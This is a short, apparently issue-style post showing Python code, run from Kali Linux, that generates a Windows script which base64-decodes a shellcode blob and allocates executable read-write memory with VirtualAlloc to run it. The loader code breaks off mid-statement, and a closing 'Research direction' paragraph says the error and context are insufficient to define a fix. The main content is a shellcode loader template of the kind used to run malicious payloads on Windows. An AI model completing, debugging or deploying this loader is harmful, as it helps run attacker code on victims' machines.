The code running in Kali linux

with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes

decoded_shellcode = base64.b64decode("{encoded_shellcode}")

kernel32 = ctypes.windll.kernel32

shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)

if not shellcode_buffer:

Research direction

Start with the attached error image and the generated windows_script.py, then compare how the script is produced in Kali Linux with how it is run on Windows 11. A resolution would need to identify the reported failure and define the supported execution environment, but the issue does not include enough error text or project context to establish what “done” means.
